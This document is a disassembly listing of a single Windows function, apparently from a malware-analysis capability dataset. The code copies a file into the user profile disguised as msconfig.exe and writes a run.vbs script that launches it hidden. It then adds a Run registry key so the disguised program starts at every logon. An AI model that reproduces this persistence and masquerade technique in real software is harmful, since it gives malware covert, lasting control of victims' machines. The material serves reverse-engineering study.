Function at 0x140001950
Capabilities:
Persist via run registry key
Query environment variable
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x490]
sub rsp, 0x590
mov rax, qword [0x140013020]
xor rax, rsp
mov qword [rbp + 0x480], rax
xor r13d, r13d
mov dword [rsp + 0x60], r13d
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0x350]
call fcn.140004dd0
nop
lea rcx, str.USERPROFILE
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0x220]
call fcn.140004dd0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f0], r13
mov qword [rbp + 0x1f8], r13
lea rax, [rbp + 0x370]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400019f0
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x1400023af
mov eax, 0x16
movabs r12, 0x8000000000000000
mov qword [rbp + 0x1f8], 0xf
cmp rbx, 0x10
jae 0x140001a64
mov qword [rbp + 0x1f0], rbx
mov r8, rbx
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x1e0]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0x1e0], 0
mov rsi, qword [rbp + 0x1f8]
mov r14, qword [rbp + 0x1e0]
jmp 0x140001af8
mov rsi, rbx
or rsi, 0xf
cmp rsi, rdi
jbe 0x140001a97
mov rsi, rdi
lea rax, [r12 + 0x27]
mov rcx, rax
call fcn.14000c560
test rax, rax
je 0x1400022ce
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140001acc
cmp rsi, rax
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x140001aba
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000239d
jmp 0x140001a78
test rcx, rcx
je 0x140001ac9
call fcn.14000c560
mov r14, rax
jmp 0x140001acc
mov r14, r13
mov qword [rbp + 0x1e0], r14
mov qword [rbp + 0x1f0], rbx
mov qword [rbp + 0x1f8], rsi
mov r8, rbx
lea rdx, [rbp + 0x370]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], 0
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x90]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x20
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x90]
call fcn.140004a40
nop
mov rax, rdi
mov rcx, qword [rbp + 0x230]
sub rax, rcx
cmp rax, 0xd
jb 0x1400023b5
lea r9, [rbp + 0x220]
cmp qword [rbp + 0x238], 0x10
cmovae r9, qword [rbp + 0x220]
mov qword [rsp + 0x30], 0xd
lea rax, str.msconfig.exe
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x1a0]
call fcn.140006290
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x20
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp - 0x80]
call fcn.140003cf0
nop
lea rcx, [rbp + 0x1a0]
call fcn.140001580
test al, al
jne 0x140001d10
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x90]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140001d10
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140001d10
lea rdx, [rbp + 0xa0]
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
lea r12, [rbp + 0x1a0]
cmp qword [rbp + 0x1b8], 0x10
cmovae r12, qword [rbp + 0x1a0]
mov r15, qword [rbp + 0x1b0]
cmp r15, rdi
ja 0x1400023bb
mov qword [rsp + 0x58], 0xf
cmp r15, 0x10
jae 0x140001c64
mov qword [rsp + 0x50], r15
movups xmm0, xmmword [r12]
movups xmmword [rsp + 0x40], xmm0
jmp 0x140001cfc
mov rbx, r15
or rbx, 0xf
cmp rbx, rdi
jbe 0x140001c9f
mov rbx, rdi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000c560
mov rcx, rax
test rax, rax
je 0x140001cc8
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140001cde
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001ccf
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400023a3
jmp 0x140001c81
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140001cdb
call fcn.14000c560
jmp 0x140001cde
mov rax, r13
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], rbx
lea r8, [r15 + 1]
mov rdx, r12
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x40]
call fcn.140001700
movabs r12, 0x8000000000000000
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
mov qword [rbp + 0x1d0], r13
mov qword [rbp + 0x1d8], 0xf
mov ecx, 0x60
call fcn.14000c560
mov rcx, rax
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1d0], 0x5a
mov qword [rbp + 0x1d8], 0x5f
movaps xmm0, xmmword [str.Set_objShell__WScript.CreateObject__WScript.Shell___nobjShell.Run__msconfig.exe___0__False]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x14000e6a0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x14000e6b0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x14000e6c0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x14000e6d0]
movups xmmword [rax + 0x40], xmm0
movsd xmm0, qword [0x14000e6e0]
movsd qword [rax + 0x50], xmm0
movzx eax, word [0x14000e6e8]
mov word [rcx + 0x58], ax
mov byte [rcx + 0x5a], 0
mov rax, rdi
mov rcx, qword [rbp + 0x230]
sub rax, rcx
cmp rax, 8
jb 0x1400023c1
lea r9, [rbp + 0x220]
cmp qword [rbp + 0x238], 0x10
cmovae r9, qword [rbp + 0x220]
mov qword [rsp + 0x30], 8
lea rax, str._run.vbs
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x200]
call fcn.140006290
nop
lea rcx, [rbp + 0x200]
call fcn.140001580
test al, al
jne 0x1400020d3
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x240]
call sub.VCRUNTIME140.dll_memset
lea rbx, [rbp + 0x200]
cmp qword [rbp + 0x218], 0x10
cmovae rbx, qword [rbp + 0x200]
lea rax, [0x14000eda0]
mov qword [rbp + 0x240], rax
lea rcx, [rbp + 0x2e8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x60], 7
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x248]
lea rcx, [rbp + 0x240]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x240]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x240], r15
mov rax, qword [rbp + 0x240]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x23c], edx
lea rcx, [rbp + 0x248]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x248], rax
mov byte [rbp + 0x2c4], 0
mov byte [rbp + 0x2b9], 0
lea rcx, [rbp + 0x248]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x2c8], r13
mov rax, qword [0x140013c30]
mov qword [rbp + 0x2bc], rax
mov qword [rbp + 0x2b0], r13
mov r8d, 2
mov rdx, rbx
lea rcx, [rbp + 0x248]
call fcn.1400052e0
test rax, rax
jne 0x140001f3c
mov rax, qword [rbp + 0x240]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x240]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x240]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x240], r15
mov rax, qword [rbp + 0x240]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x23c], edx
cmp qword [rbp + 0x2c8], 0
je 0x1400020c7
lea rdx, [rbp + 0x1c0]
cmp qword [rbp + 0x1d8], 0x10
cmovae rdx, qword [rbp + 0x1c0]
mov r8, qword [rbp + 0x1d0]
lea rcx, [rbp + 0x240]
call fcn.1400063b0
lea rcx, [rbp + 0x248]
call fcn.140005230
test rax, rax
jne 0x140001fd2
mov rax, qword [rbp + 0x240]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x240]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
lea r15, [rbp + 0x1a0]
cmp qword [rbp + 0x1b8], 0x10
cmovae r15, qword [rbp + 0x1a0]
mov rbx, qword [rbp + 0x1b0]
cmp rbx, rdi
ja 0x140002397
mov qword [rsp + 0x58], 0xf
cmp rbx, 0x10
jae 0x14000202d
mov qword [rsp + 0x50], rbx
movups xmm0, xmmword [r15]
movups xmmword [rsp + 0x40], xmm0
jmp 0x1400020bc
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x14000205c
lea rax, [r12 + 0x27]
mov rcx, rax
call fcn.14000c560
mov rcx, rax
test rax, rax
je 0x140002088
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000209e
mov rdi, rax
cmp rax, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14000208f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400023a9
jmp 0x14000203e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000209b
call fcn.14000c560
jmp 0x14000209e
mov rax, r13
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rdi
lea r8, [rbx + 1]
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x40]
call fcn.140001700
nop
lea rcx, [rbp + 0x240]
call fcn.1400023d0
lea rbx, [rbp + 0x200]
cmp qword [rbp + 0x218], 0x10
cmovae rbx, qword [rbp + 0x200]
lea r8, [rsp + 0x70]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x14000e700]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, 2
jne 0x140002177
lea r8, [rsp + 0x70]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov dword [rsp + 0x28], 8
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.msconfig
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x1400021bb
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400021b6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000c59c
movdqa xmm0, xmmword [0x14000ef30]
movdqu xmmword [rbp + 0x210], xmm0
mov byte [rbp + 0x200], 0
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
jb 0x140002216
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002211
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002211
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000c59c
mov qword [rbp + 0x1d0], r13
mov qword [rbp + 0x1d8], 0xf
mov byte [rbp + 0x1c0], 0
lea rcx, [rbp - 0x80]
call fcn.1400023d0
nop
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0x10
jb 0x14000227d
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002278
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002278
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000c59c
mov qword [rbp + 0x1b0], r13
mov qword [rbp + 0x1b8], 0xf
mov byte [rbp + 0x1a0], 0
lea rcx, [rbp + 0x90]
call fcn.140001640
nop
cmp rsi, 0x10
jb 0x1400022de
lea rdx, [rsi + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x1400022d5
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400022d5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.14000c59c
nop
mov rdx, qword [rbp + 0x238]
cmp rdx, 0x10
jb 0x140002323
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000231d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000231d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000c59c
nop
mov rdx, qword [rbp + 0x368]
cmp rdx, 0x10
jb 0x140002367
inc rdx
mov rcx, qword [rbp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002362
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002362
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000c59c
mov rcx, qword [rbp + 0x480]
xor rcx, rsp
call fcn.14000c540
lea r11, [rsp + 0x590]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011b0
nop
call fcn.140001110
nop
call fcn.140001110
nop
call fcn.140001110
nop
call fcn.1400011b0
nop
call fcn.1400011b0
nop
call fcn.1400011b0
nop
call fcn.1400011b0
int3